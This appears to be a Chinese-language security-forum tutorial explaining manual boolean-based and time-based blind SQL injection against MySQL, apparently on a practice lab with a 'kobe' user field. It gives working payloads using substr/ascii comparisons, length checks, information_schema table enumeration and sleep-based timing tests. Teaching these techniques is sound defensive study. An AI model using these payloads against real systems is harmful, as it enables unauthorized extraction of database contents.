首页
论坛
专栏
课程

分享:
#### 盲注 以下用手工的方式来一步一步测试based boolean和based time。 一、 based boolean 基于boolean的盲注主要表现症状: 0.没有报错信息 1.不管是正确的输入,还是错误的输入,都只显示两种情况 (我们可以认为是0或者1) 2.在正确的输入下,输入and 1=1/and 1=2发现可以判断 在演示sql盲注之前,先演示一个mysql小知识: ``` Select database(); //得到数据库名称 Select substr(database(),1,1);//使用substr函数截取结果中的值,从第一个字符开始,截取1个字符。 Select ascii(substr(database(),1,1)); 将截取出来的字符,转换成acsii码,以便于后面做运算。 Select ascii(substr(database(),1,1))>97; //结果会为1或者0,也就是true or false ``` 上面的知识要引申出来的一个逻辑是:   既然在盲注情况下,从页面上只能判断1,0的情况,那么我们可以对databae()的结果截取一个字符,转换成ascii后进行运算,根据true或false的结果确认截取的这个字符的ASCII码,然后在将这个ascii码转换成字符,从而得到database()里面的第一个值。依次类推,得到所有结果。 based Boolean-手动测试: 01、如何确认需要遍历的结果一共有多少个字符呢? ``` 可以首先使用length()函数做一个确认:通过一个比较,得出长度。 Id=1' and length((select database()))>x; mysql> select length((select database()))>7; +-------------------------------+ | length((select database()))>7 | +-------------------------------+ | 1 | +-------------------------------+ 1 row in set (0.00 sec)   mysql> select length((select database()))>8; +-------------------------------+ | length((select database()))>8 | +-------------------------------+ | 0 | +-------------------------------+ 1 row in set (0.00 sec) ``` 02、Test Payload: ``` kobe' and ascii(substr(database(),1,1))>97# 输出: 用户不存在 kobe' and ascii(substr(database(),1,1))=97# 输出: kobe的信息 因此,可以判断database()的第一个字符为a! ``` 03、获取表信息的Test Payload: ``` ascii(substr( (select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) )>100# 获取其他信息的思路一样. ``` 二、based time   基于boolean的盲注可以在页面上看到0 or 1的回显,但是基于time的盲注是看不到的。   但是我们可以通过“时间”条件进行特定的输入,判断后台执行sql语句的时间来判断是否存在盲注。 01、Teat Payload: ``` kobe' and sleep(5)# ``` 分别输入:kobe 和输入kobe‘ and sleep(5)#,从而判断这里存在based time的SQL注入漏洞: ![](/upload/attach/201801/201801191855_V4ANV5896BWFRJ8.jpg) 02、获取基础信息test payload: ``` kobe' and if ((substr((select database()),1,1))='a',sleep(5),null)# ``` mysql中if的用法: if(条件,true返回,false返回) 思路解释:     通过substr对database()的结果截取第一位,然后判断是否等于X,如果等于则为真,然后执行sleep(5),如果不等于则为假,则null, 然后通过sleep的现象来确认,依次类推,遍历出所有的值。 03、获取表信息test payload: ``` kobe' and if( substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(5),null )# ```   无论是based boolean还是based time,要一步一步手工测试是非常麻烦的,以上只是用手工的方式说明盲注的原理,一般情况下,会使用一些sql注入工具来代替以上我们一步一步手工测试的步骤,后面会讲到如何使用sqlmap来进行注入测试。

上一篇 :
下一篇 :
讨论 (0)
沪ICP备16048531号-1
沪公网安备 31011502006611号